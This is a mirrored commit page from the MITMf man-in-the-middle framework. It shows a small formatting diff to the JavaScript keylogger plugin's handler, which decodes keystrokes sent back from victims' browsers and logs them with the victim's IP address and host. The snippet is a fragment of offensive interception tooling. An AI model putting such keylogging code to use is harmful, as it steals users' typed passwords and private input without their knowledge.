mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 04:52:22 -07:00
formatting
This commit is contained in:
parent
1b6841f9c1
commit
eedb48822a
4 changed files with 10 additions and 7 deletions
|
@ -15,7 +15,7 @@ class jskeylogger(Inject, Plugin):
|
|||
print "[*] Javascript Keylogger plugin online"
|
||||
|
||||
def sendPostData(self, request):
|
||||
#Handle the jskeylogger plugin output
|
||||
#Handle the plugin output
|
||||
if 'keylog' in request.uri:
|
||||
keys = request.postData.split(",")
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
@ -32,7 +32,7 @@ class jskeylogger(Inject, Plugin):
|
|||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
print "ERROR: unknown char " + n
|
||||
logging.warning("%s ERROR decoding char %s" % (request.client.getClientIP(), n))
|
||||
|
||||
logging.warning("%s [%s] Keys: %s" % (request.client.getClientIP(), request.headers['host'], nice))
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue